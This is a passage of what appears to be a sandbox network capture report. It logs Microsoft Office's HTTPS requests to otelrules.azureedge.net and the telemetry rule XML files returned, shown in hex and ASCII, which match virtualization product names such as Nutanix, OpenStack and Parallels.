F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.4	49795	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:23 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:24 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:24 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 6b91e280-c01e-00a2-4f0a-3d2327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102223Z-178bfbc474bv587zhC1NYCny5w000000044g00000000amha x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:24 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.4	49796	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:23 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:24 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:24 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 449238ea-501e-0029-7d7c-3bd0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102224Z-174c587ffdfp4vpjhC1TEBybqw00000002vg000000003sq0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:24 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.4	49797	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:23 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:24 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:24 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: abcc4943-b01e-00ab-2315-3ddafd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102224Z-178bfbc474bh5zbqhC1NYCkdug000000046000000000bmvh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:24 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.4	49798	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:23 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:24 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:24 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: ba3f3383-a01e-000d-6e55-3cd1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102224Z-15b8b599d885ffrhhC1TEBtuv000000002z00000000007nn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:24 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.4	49799	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:26 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:26 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:26 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 6b17e566-f01e-003f-7a44-3cd19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102226Z-178bfbc474bpscmfhC1NYCfc2c00000002tg00000000faqq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:26 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.4	49800	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:26 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:26 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:26 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 9a1c1dfd-501e-000a-5c30-3c0180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102226Z-178bfbc474bnwsh4hC1NYC2ubs000000049000000000cn9s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:26 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.4	49801	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:26 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:26 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:26 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 9434b372-401e-002a-4f0b-3dc62e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102226Z-178bfbc474bv7whqhC1NYC1fg400000004c0000000004qev x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 10:22:26 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.4	49802	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:26 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:26 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:26 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: db5fa324-001e-00ad-2244-3c554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102226Z-174c587ffdfn4nhwhC1TEB2nbc00000002u000000000dsxa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:26 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.4	49803	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:26 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:26 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:26 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 41485cca-c01e-0034-71f5-3c2af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102226Z-178bfbc474bp8mkvhC1NYCzqnn000000042000000000d8cv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:26 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.4	49805	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:28 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:28 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 04c68412-701e-000d-5268-3b6de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102228Z-178bfbc474bpscmfhC1NYCfc2c00000002t000000000g9s5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:28 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.4	49804	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:28 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:28 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 5c70d6ce-001e-00ad-368c-3a554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102228Z-178bfbc474bpnd5vhC1NYC4vr400000004c000000000450c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:28 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.4	49808	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:28 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:28 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:28 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: edaf41ae-201e-0051-5e49-3c7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102228Z-174c587ffdf4zw2thC1TEBu34000000002vg000000009rnh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 10:22:28 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 